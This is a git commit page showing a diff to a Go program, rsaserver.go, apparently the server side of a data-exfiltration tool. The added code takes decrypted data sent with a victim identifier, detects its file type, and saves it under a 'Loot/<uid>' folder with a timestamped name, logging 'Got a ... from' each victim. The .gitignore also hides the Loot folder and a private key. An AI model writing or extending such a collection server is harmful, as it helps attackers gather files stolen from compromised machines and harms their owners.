Write to file
This commit is contained in:
parent
20400fe4f3
commit
819c74cf80
1
.gitignore
vendored
1
.gitignore
vendored
@ -1 +1,2 @@
|
||||
private_key.pem
|
||||
Loot/*
|
||||
|
43
rsaserver.go
43
rsaserver.go
@ -14,6 +14,8 @@ import (
|
||||
"log"
|
||||
"net"
|
||||
"github.com/liamg/magic"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
@ -188,7 +190,42 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte){
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
fmt.Printf("UID: %s\n", string(uidB))
|
||||
fmt.Printf("File extension: %s\n", fileType.Extension)
|
||||
fmt.Printf("File type description: %s\n", fileType.Description)
|
||||
|
||||
uid := strings.TrimSpace(string(uidB))
|
||||
folderPath := fmt.Sprintf("Loot/%s", uid)
|
||||
err = createFolderIfNotExists(folderPath)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
timestamp := time.Now().Unix()
|
||||
filename := fmt.Sprintf("%d.%s", timestamp, fileType.Extension)
|
||||
|
||||
filePath := fmt.Sprintf("%s/%s", folderPath, filename)
|
||||
fmt.Println(filePath)
|
||||
err = saveFile(filePath, data)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
fmt.Printf("Got a %s from %s, saving to %s\n",fileType.Extension,uid,filePath)
|
||||
}
|
||||
|
||||
func createFolderIfNotExists(folderPath string) error {
|
||||
_, err := os.Stat(folderPath)
|
||||
if os.IsNotExist(err) {
|
||||
err := os.MkdirAll(folderPath, 0755)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func saveFile(filePath string, data []byte) error {
|
||||
err := ioutil.WriteFile(filePath, data, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user